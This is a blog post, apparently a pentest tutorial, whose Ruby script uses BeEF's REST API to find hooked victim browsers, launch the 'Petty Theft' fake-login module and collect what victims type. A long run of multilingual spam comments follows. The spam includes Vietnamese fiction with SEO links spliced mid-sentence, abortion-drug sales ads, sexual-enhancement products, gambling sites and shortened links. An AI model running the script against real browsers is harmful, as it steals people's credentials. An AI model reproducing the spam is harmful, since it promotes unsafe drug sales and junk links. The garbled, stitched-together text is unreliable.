So, we wrote this script in Ruby, and we ran it from the same system on which we ran BeEF. You can run it from a different system if you like. Don't forget to use the right address if you modify this. We used these:
require 'json'
require 'pp'
require 'rest-client'
We set up our script to prompt for the API key at runtime rather than hard coding it. This gives us some flexibility. Then we use /api/hooks to retrieve our hooked clients:
print "Enter your API key: "
$key = STDIN.gets.rstrip
res = RestClient.get "http://127.0.0.1:3000/api/hooks/?token=#{$key}"
pp JSON.parse(res.body)
If you've read the RESTful API wiki entry for BeEF, the output should look familiar. But what can we do? Let's ask BeEF! Using the /api/modules interface, we can get a list.
modres = RestClient.get "http://127.0.0.1:3000/api/modules/?token=#{$key}"
pp JSON.parse(modres.body)
We're going to use module ID 1 (Petty Theft) for this demo. Let's find out what it requires:
modres = RestClient.get "http://127.0.0.1:3000/api/modules/?token=#{$key}"
pp JSON.parse(modres.body)
By this point, you've noticed all of our responses are JSON objects, and we're doing a little bit to make it pretty.
It looks like we're going to need the session ID. We'll also need the client ID. Take my word for it. So, let's use the information from the original /api/hooks response to pull the zombies that are running Win32 and stuff them into an array.
JSON.parse(res.body)["hooked-browsers"]["online"].each do | x |
if (x[1]["name"] == "IE" and x[1]["version"] == "6")
target << {:session => x[1]["session"] , :id => x[0] }
end
end
And let's call Petty Theft:
target.each do | x |
res = RestClient.post "http://127.0.0.1:3000/api/ modules/#{x[:session]}/1? token=#{$key}" , {"imagesauce" => "http://fooserver.com/lulz.jpg"}.to_json, :content_type => :json , :accept => :json
pp JSON.parse(res.body)
end
Our end statement is later. We're still in loop. So, we know it ran, and we have a status. We still want to know what our victim typed. We'll need the command ID from the response to retrieve our results.
cmdid = JSON.parse(res.body)["command_ id"]
timeout = 35
while timeout > 0 do
begin
sleep 2
puts "Let's get our results.\n\n"
res = RestClient.get "http://127.0.0.1:3000/api/modules/#{x[:session]}/53/#{cmdid}?token=#{$key}"
pp JSON.parse(res.body)
break
# if there's no response, we should still catch it!
rescue RestClient::ResourceNotFound
print "No results yet.\n"
timeout -= 1
end
end
We put a test in, because we want it to die gracefully in the event that our victim has not responded to our tantalizing task. Otherwise, we'll see data that should get us a step further in our pentest!
ReplyDeleteNhìn xem cái kia hơi quen thuộc bộ dáng đồ vật, Tiêu Viêm đồng tử một hồi co rút lại, một thanh này cổ xích cùng mình ban đầu ở cái kia đấu giá hội bên trên thu hoạch được cái kia thần bí hắc thước vạn toàn đồng dạng.
Tiêu Viêm mộngớc mắt cái kia một thanh ngăm đen sắc thần bí hắc thước lẳng lặng yên lơ lửng tại trước mặt của mình, Tiêu Viêm đồng tử có chút rụt rụt, lẩm bẩm nói "Làm sao có thể? Tại đây như thế nào cũng có cái này vật này." Đúng lúc này, Tiêu Viêm đột nhiên bừng tỉnh, một phát bắt được trước mắt cádongtam
game mu
http://nhatroso.net/
http://nhatroso.com/
nhạc sàn
tư vấn luật
dịch vụ thành lập công ty trọn gói
công ty luật
tổng đài tư vấn pháp luật
thành lập công ty
http://we-cooking.com/
chém gió
trung tâm ngoại ngữi kia một thanh cây thước, đánh giá cẩn thận lấy.
Cây thước, toàn thân hiện lên ngăm đen chi sắc, tại hắn biểu hiện ra, vẽ có một đạo đạo hữu chút ít mơ hồ kỳ dị đường vân, đường vân đến cây thước xích tiêm chỗ két két mà đoạn, cho người một loại lông mày không có vĩ cảm giác. Kỳ dị đường vân cơ hồ tràn ngập cổ xích xích thân sở hữu tất cả bộ vị, phối hợp với phong cách cổ xưa ngăm đen chi sắc, nhìn về phía trên, rất có vài
شركة تسليك مجاري بالرياض
ReplyDeleteشركة تسليك مجارى بالرياض
level تسليك المجاري بالرياض
افضل شركة تنظيف بالرياض
تنظيف شقق بالرياض
شركة تنظيف منازل بالرياض
شركة غسيل خزنات بالرياض
افضل شركة مكافحة حشرات بالرياض
رش مبيدات بالرياض
شركة تخزين عفش بالرياض
شركة تنظيف مجالس بالرياض
تنظيف فلل بالرياض
ابى شركة تنظيف بالرياض
ReplyDeleteThanks for posting this useful content, Good to know about new things here, Let me share this, . CCNA training in pune
Jual Obat Aborsi
ReplyDeleteObat Aborsi
Obat Penggugur Kandungan
Jual Obat Cytotec
Jual Obat Aborsi Ampuh
Jual Obat Aborsi Asli Tuntas
Cara Menggugurkan Kandungan Janin
Obat Aborsi Asli Aman
Obat Aborsi Cytotec
Jual Obat Cytotec
Jual Cytotec Asli
Jual Cytotec
Klinik Obat Aborsi
Jual Obat Aborsi Cytotec
Jual Obat Aborsi Asli Ampuh
Obat Aborsi Asli
Obat Aborsi
Jual Obat Aborsi Asli Manjur
Obat Penggugur Kandungan Ampuh
Jual Obat Aborsi Online
Jual Obat Aborsi Asli Aman
Obat Penggugur Janin
Jual Obat Aborsi Kandungan
Obat Aborsi kandungan
Jual Obat Aborsi Kandungan Asli
Obat Aborsi Cytotec Asli
Jual Obat Aborsi Cytotec Ampuh
Obat Penggugur Kandungan Asli
Jual Obat Cytotec
Jual Obat Cytotec Asli
Jual Cytotec
Klinik Aborsi Aman
Jual Obat Aborsi Asli
Jual Obat Aborsi
Jual Obat Aborsi Asli
Jual Obat Aborsi Asli Ampuh
Jual Obat Aborsi Asli Tuntas
Jual Obat Aborsi Asli Manjur
Obat Penggugur Kandungan Aman
Obat Aborsi
Jual Obat Aborsi Cytotec Asli
Obat Aborsi Asli
Klinik Aborsi
Jual Obat Aborsi Ampuh
Jual Obat Aborsi Cytotec Ampuh
Jual Obat Aborsi Cytotec Asli
Jual Obat Aborsi Tuntas
Jual Obat Aborsi
Obat Aborsi Ampuh
Obat Aborsi
Obat Aborsi Asli Ampuh
Obat Aborsi Penggugur Kandungan
http://obat-aborsi99.com/uncategorized/jual-obat-aborsi-cytotec/
ReplyDeleteJual Cytotec Obat Aborsi, Obat Penggugur Kandungan & Janin,
jual obat aborsi kandungan
Jual Obat Aborsi, Obat Penggugur Kandungan, Jual Obat Aborsi Tuntas, Jual Obat Aborsi Ampuh
Jual Obat Aborsi, Obat Penggugur Kandungan Ampuh
It was very interesting for me to succeed and win
ReplyDeleteThanks for the great content
ورزش در خانه به همراه آموزش حرکات
تخم مرغ حتما باید در برنامه غذایی رژیم گیاهخواری باشد
دلیل خنده ناگهانی اطفال چیست
با عرقیات سنتی می توانیم اگزما را درمان کنیم
مصرف کدام داروها باعث بیشترین مسمومیت ها می شوند
برای پسردار شدن از طب سنتی کمک بگیریم
کهیر زدن یکی از عوارض استرس و عصبی شدن است
شركة مكافحة حشرات بالرياض
ReplyDeleteنور المدينة رائدة شركات المكافحة بالمملكة لديها افضل مبيدات حشرية
مستوردة من الخارج ولديها اسطول عمالة من وزارة الصحة والزراعة يعمل معها منذ عشرات السنون
لديتا اامن مبيدات على صحتك وصحة اسرتك
واجود معدات ومعافر
شركة رش مبيد بالرياض
شركة تنظيف مجالس بالرياض
نعلم جيدا ان لنظافة مفروشاتك اثر كبير على الصحة العامة لافراد اسرتك
نور المدينة تقدم خدمة متميزة فى عالم تنظيف المفروشات من كنب ومجالس وستائر خدمة شاملة المفروشات الارضية من موكيت وسجاد
شركة عزل اسطح بالرياض
شركة عزل حمامات بالرياض
نور المدينة رائدة شركات العزل بالمملكة تقدم خصومات هائلة مع التعاقدات الجديدة نحن افضل شركة عزل نعمل فى مجال العزل منذ سنوات طويلة لدينا اسطول عمالة معنا منذ البداية فالخبرة التى اكتسبها جعلتنا فى صدارة شركات العزل
نقدم العزل المائى والحرارى وعزل الفوم
شركة تنظيف منازل بالرياض
لدينا اسطول عمالة واعى ومدرب فى عالم التنظيف واحدث مكانس وشفاطات
واجود مواد تنظيف من مطهرات ومعقمات ومعطرات نور المدينة فى صارة شركات التنظيف بالمملكة
شركة تنظيف خزانات بالرياض مع العزل والتعقيم
نقوم بعملية تنظيف شاملة كل اركان الخزان من جوانب وارضيات باستخدام اجود مواد تنظيف وتعقيم ولدينا احدث معدات وطاقم عمالة لة خبرة كبيرة
شركة كشف تسربات يالرياض
نعلم جيدا اخطار التسربات على الاسقف واعمال الجبسوالديكور نحن افضل من يحمى معك بيتك من اخطار التسربات نكشف عن التسربات الكترونيا دون احداث اى فوضى فى المكان
شركة تنظيف فلل بالرياض
تنظيف الفلل يمثل عبء كبير عليك عزيزى العميل نظرا لاتساع مساحتها فلا تقلق نور المدينة رائدة شركات التنظيف بالمملكة تحمل عنك هذا العبءوتقدم افضل خدمة شاملة كل اركان المنزل وتقدم اسعار حصرية لا بديل لها
شركة عزل خزانات بالدمام
ReplyDeleteشركة تنظيف مجالس بالدمام
شركة تنظيف فلل بالدمام
شركة تنظيف منازل بالدمام
شركة تنظيف موكيت بالدمام
شركة مكافحة حشرات بالدمام
شركة تنظيف بالدمام
شركة تنظيف خزانات بالدمام
شركة رش مبيد بالدمام
شركة نقل اثاث بالدمام
jual obat aborsi tuntas
ReplyDeletejual obat aborsi solo
jual obat aborsi bali
jual obat aborsi tuntas
ReplyDeletejual obat aborsi solo
jual obat aborsi bali
ReplyDeletethanks for sharing
thanks for sharing 082210743003
obat aborsi
obat telat bulan
obat penggugur
jual obat aborsi
obat aborsi termurah
thanks for sharing, nice post.
ReplyDeleteVibrator Pretty Love Snappy
Vibrator Sensual Massager
Teaser Tongue Vibrator Tangan
Vibrator Climax Combo Massager
Vibrator Cute Dragon
Vibrator Fantasy Bliss
Vibrator Egg Capsul Wireless
Vibrator Fairy Mic
Vibrator Finger Ring Dua Jari
Vibrator Kondom Beauty Kit
thanks for sharing, nice post.
ReplyDeleteOBAT KLG
OBAT KLG USA
OBAT KLG USA ASLI
OBAT PEMBESAR PENIS
OBAT PEMBESAR ALAT VITAL
PEMBESAR PENIS KLG
KHASIAT KLG PILLS
Good Post! Thank you so much for sharing this pretty post, it was so good to read and useful to improve my knowledge as updated one, keep blogging.
ReplyDeleteSelenium with python Training in Electronic City
http://talk-staging.plesk.com/members/linabelaidi.183969/
ReplyDeletehttp://talk-staging.plesk.com/members/ericapellossi.183917/
http://talk-staging.plesk.com/members/chris-piettre.183966/
https://www.themehorse.com/support-forum/users/piettrechris
http://profile.hatena.ne.jp/linabelaidi/
http://djerbabelle.strikingly.com/
https://cliniqueesthetiquetunisie.wordpress.com/2018/10/22/michel-drucker-avoue-sa-chirurgie-esthetique/
شركة تنظيف منازل بأبها
ReplyDeleteشركة تنظيف بأبها
شركة تنظيف بالاحساء
شركه تنظيف منازل بالاحساء
شركة تنظيف بالجبيل
شركة تنظيف منازل بالجبيل
ReplyDeleteشركة تنظيف منازل بأبها
شركة تنظيف بأبها
شركة تنظيف بالاحساء
شركه تنظيف منازل بالاحساء
شركة تنظيف بالجبيل
شركة تنظيف منازل بالجبيل
iphongthuynet
ReplyDeleteiphongthuynet
iphongthuynet
90minup ข่าวกีฬา ฟุตบอล ผลบอล วิเคราะห์บอล พรีเมียร์ลีก ฟุตบอลไทย
ReplyDeleteข่าวกีฬา
ตารางคะแนน
ฟุตบอลไทย
ไฮไลท์ฟุตบอล
ดูบอลออนไลน์
ผลบอลสด
90minup
شركه عزل فوم بالدمام
ReplyDeleteشركه عزل فوم بجدة
goldenslot
ReplyDeleteโกลเด้นสล็อต
golden slot
สล็อตออนไลน์
แทงบอล
แทงบอลออนไลน์
สล็อตออนไลน์
ReplyDeleteโกลเด้นสล็อต
goldenslot
golden slot
Thank you so much for sharing this excellent information. Your article is amazing. Good to discover your post. www.appslure.com
ReplyDeleteOur writers generate to eliminate any mistakes that could still be present in your paper to present you with the best Professional Essay Writing Service providing the most value for your money. The Best Online Essay Writing Service you receive come along with a plagiarism report for verification that our work is totally authentic and original.
ReplyDeleteข้อสอบนายสิบตํารวจ
ReplyDeleteแจกแนวข้อสอบตำรวจ
เทียบพยัญชนะสระอังกฤษไทย แอพ
ด่าน มีด่านบอกด้วย
รวมสูตรคณิตศาสตร์
สอบ.ราชการ
สอบ.คอม
สอบ.กพ
ผลบอลย้อนหลัง
ReplyDeleteไฮไลท์ฟุตบอล
ผลบอลสด7m
ข่าวฟุตบอล
ไฮไลท์บอลเมื่อคืน
Thank you so much for sharing this amazing blog, visit OGEN Infosystem for Website Designing Company in Delhi, India and also for SEO Service in Delhi.
ReplyDeleteSEO Service in Delhi
ghazabarghi
ReplyDeleteظرف غذای برقی
ژل بازی اسلایم
دانلود آهنگ آرون افشار به نام گیسو پریشان
ReplyDeleteشركه كشف تسربات المياه بالاحساء
شركه تنظيف منازل بالجبيل
والصدق والامانه فى العمل ، وهدفنا هو ارضاؤك وراحتك ، لا تقلق ونحن معك
شركه عزل فوم بالجبيل
لا تجهد نفسك ونحن تحت امرك ورهن اشارتك .
أبرز خدمات مؤسسة الحرمــين للمقاولات العامة بالدمام والرياض
شركه عزل فوم بالدمام
minuman penyegar seperti bentrap original cod di tambun utara sekarang ini banyak digemari oleh pria untuk memelihara stamina agar tetap perkasa saat berhubungan badan. produk bentrap asli cod karawang ini banyak diminati karena sudah memiliki sertifikat halal yang keabsahan bisa anda yakini 100% dapat memberi manfaat bagi pria yang ingin mendapatkan klimaks saat berhubungan badan. bentrap asli cod bandung dikemas dalam bentuk serbuk dengan aturan pakai seperti minuman yang mudah dikonsumsi bagi siapapun tanpa pengecualian sekalipun bagi pria yang menderita penyakit seperti diabetes. bentrap asli cod jakarta timur dapat diterima oleh semua kalangan dan hasilnya juga sangat memuaskan bagi setiap pasangan yang ingin menjaga keromantisan dalam bercinta agar selalu optimal setiap libido memuncak. baca seterusnya . wanita bisa merasakan kebosanan kalau pasangannya tidak dapat memberikan kepuasan seksual saat diranjang, untuk itu anda sebagai pria harus mencari solusi dengan cara mengonsumsi permen soloco cod di tembalang sebagai obat untuk meningkatkan libdo serta membuat ereksi lebih keras dan tahan lama. klik seterusnya .
ReplyDeleteGreat post. I was waiting for content about this for a long time! ไอดีไลน์ Vegus168 is a provider of gambling websites and online casinos
ReplyDeleteشركة كشف تسربات المياه بالرياض
ReplyDeleteشركة عزل أسطح وخزانات بالرياض
شركة مكافحة حشرات بالرياض .
شركة تسليك مجاري بالضغط بالرياض
شركة فحص فلل ومنازل بالرياض
شركة كشف خطوط الغاز بالرياض
شركة غسيل خزانات بالرياض
شركة تنظيف خزانات بالرياض
شركة عزل فوم للأسطح بالرياض
شركة العزل الحراري الفوم بالرياض
شركة عزل فوم بولي يوريثان بالرياض
شركة عوازل فوم بالرياض
شركة عزل أسطح بالفلين بالرياض
شركة عزل مائي وحراري بالرياض
افضل شركة عزل فوم بالرياض
ارخص شركة عزل فوم بالرياض
شركة عزل شنكو بالرياض
شركات العزل المائي والحراري بالرياض
Learning REST in pieces is one thing, while applying all those learned concepts into real application design is completely another challenge. In this tutorial, we will learn to design REST APIs for a network based application. Please note that the takeaway from this whole exercise is the learning of how to apply REST principles in design process DGCustomerFirst
ReplyDeleteAwesome article, it was exceptionally helpful! I simply began in this and I'm becoming more acquainted with it better. The post is written in very a good manner and it contains many useful information for me. Thank you very much and will look for more postings from you. digital marketing course in chennai
Deletebest digital marketing course in chennai
SKARTEC Digital Marketing
best digital marketing training in chennai
best seo training in chennai
online digital marketing training
best marketing books
best marketing books for beginners
best marketing books for entrepreneurs
best marketing books in india
digital marketing course fees
best seo service in chennai
SKARTEC SEO Services
best digital marketing resources
best digital marketing blog
digital marketing expert
how to start affiliate marketing
what is affilite marketing and how does it work
affiliate marketing for beginners
The content of your article page y8 Escape From Aztec, I find the content quite interesting and useful to me, thank you for sharing
ReplyDeleteشركة تنظيف خزنات بابها
ReplyDeleteشركة رش مبيدات بابها
شركة تنظيف مجالس وسجاد بابها
شركة تنظيف مجالس بابها
ارخص شركة تنظيف سجاد بخميس مشيط
شركة الصفرات
ارخص شركة تنظيف شقق بالرياض
شركة نركيب طارد حمام بالرياض
ارخص شركة رش مبيدات بالرياض
ارخص شركة مكافحة حشرات بالرياض
ارخص شركة تنظيف مكيفات بالرياض
شركة تنظيف مكيفات بالرياض
ارخص رشكة غسيل مكيفات بالرياض
شركة تنظيف منازل بالرياض
افضل شركة تنظيف منازل
شركة الصفرات لتنظيف الشقق بالرياض
ReplyDeleteارقام شركات التنظيف
شركة الصفرات
شركة الصفرات لتركيب طارد الحمام
شركة مكافحة حشرات بالرياض
شركة غسيل مكيفات بالرياض
شركة تنظيف مكيفات بالرياض
ارخص شركة تنظيف منازل بالرياض
شركة عزل خزانات بابها
شركة تنظيف منازل بابها
شركة تصليح وتنظيف افران بالرياض
ReplyDeleteافضل شركة تنظيف افران
شركة صيانه افران
افضل شركة تنظيف افران
شركة صيانة افران بالرياض
تنظيف افران
صيانه افران بالرياض
شركة تنظيف بالرياض
افضل شركة صيانة افران بالرياض
شركة تنظيف وعزل خزنات بالرياض
شركه تنظيف مجالس بالرياض
شركه مكافحه سوس الاخشاب بالرياض
شركه مكافحه النمل بالرياض
شركه مكافحه البق بالرياض
شركه مكافحه الصراصير بالرياض
شركه مكافحه الحشرات بالضمان
شركة تنظيف منازل بالرياض
ReplyDeleteشركة منازل بالرياض
شركة نظافة عامة بالرياض
شركة صيانه افران
تنظيف منازل بالرياض
شركة تنظيف منازل بالرياض
شركة صيانه افران
افضل شركة صيانه افران بالرياض
شركة تنظيف منازل بالرياض
ReplyDeleteشركة كشف تسربات المياه المعتمدة لدى الشركة الوطنية شركة كشف تسربات المياه المعتمدة لدى الشركة الوطنية
اسرع شركة شحن من الرياض الى مصر اسرع شركة شحن من الرياض الى مصر
شركة عزل خزانات بالرياض شركة عزل خزانات بالرياض
عزل فوم بالرياض عزل فوم بالرياض
เล่นเกม live22โบนัส100 slot online ฟรีเครดิต
ReplyDeletehttps://www.live22easy.com/
Thank you for the good information. That่ is a good khowledye.
ReplyDeleteบาคาร่าออนไลน์
สล็อตออนไลน์
รูเล็ต
บอลออนไลน์
ufa
ufabet
Interesting Article DGCustomerFirst
ReplyDeletehttps://v.ht/Javid
ReplyDeletehttps://bit.ly/2Cf100d
https://bit.ly/2BbVESG
https://bit.ly/2Y59Eqn
https://bit.ly/30KFpXr
hamyareweb
v.ht/hrll
I think this is one of the great posts on this topic. This post is really great, very efficiently written information. Keep up the good work and keep us sharing these kinds of informative posts with us. I will also try to check out your other posts.
ReplyDeleteAndroid app development
iOS App Development
Freelance software developer
App Developers India
https://www.cratoswin.com/
ReplyDeleteCanlı bahis sitesi
Vip casino sitesi Cratosslot
Egt slot oyunları
Online canlı bahis sitesi Cratossporting
Online casino Cratosslot
En iyi oyunlar
Tüm radyo frekansları için
Slotxo บริการ สล็อตออนไลน์ สล็อตxo แจกเครดิตฟรี พร้อม ทางเข้า slotxo เกมส์ใหม่กว่า 100 เกมส์ สมัคร slotxo ได้เลยตอนนี้ บริการ 24 ชั่วโมง.
ReplyDeleteSlotxo
สล็อตxo
สล็อตxo บนมือถือ
สมัคร slotxo
สมัคร slotxo รับโบนัสฟรี
Slotxo บริการ สล็อตออนไลน์ สล็อตxo แจกเครดิตฟรี พร้อม ทางเข้า slotxo เกมส์ใหม่กว่า 100 เกมส์ สมัคร slotxo ได้เลยตอนนี้ บริการ 24 ชั่วโมง.
ReplyDeleteSlotxo
สล็อตxo
สล็อตxo บนมือถือ
สมัคร slotxo
สมัคร slotxo รับโบนัสฟรี
CASA98 บริการ แทงบอลออนไลน์ แทงบอลเดี่ยว บอลเต็ง บอลสเต็ป
ReplyDeletecasa98
شركة تنظيف مجالس بحائل
ReplyDeleteشركة كشف تسربات المياه بحائل
شركة مكافحة الصراصير بحائل
شركة تنظيف سجاد بحائل
شركة عزل فوم بحائل
شركة تنظيف فلل بحائل
شركة عزل اسطح بحائل
شركة تنظيف خزانات بحائل
شركة رش مبيدات بحائل
شركة تنظيف بحائل
Wales Publications is a research publishing solution provide best Publication Research In UK
ReplyDeletein all issues from research to the journal publication are catering in your discipline based on your requirements.
ทำเงินได้เป็นแสน ได้ที่นี่ที่เดียว สูตร slotxo
ReplyDeleteวิธีการเล่นสล็อตออนไลน์ที่ง่าย ได้ที่นี่ที่เดียว สูตร slotxo
Apply today and receive a 100% free bonus JOKERX2 We are a service provider. Online slot games From popular camps like :: joker123
ReplyDelete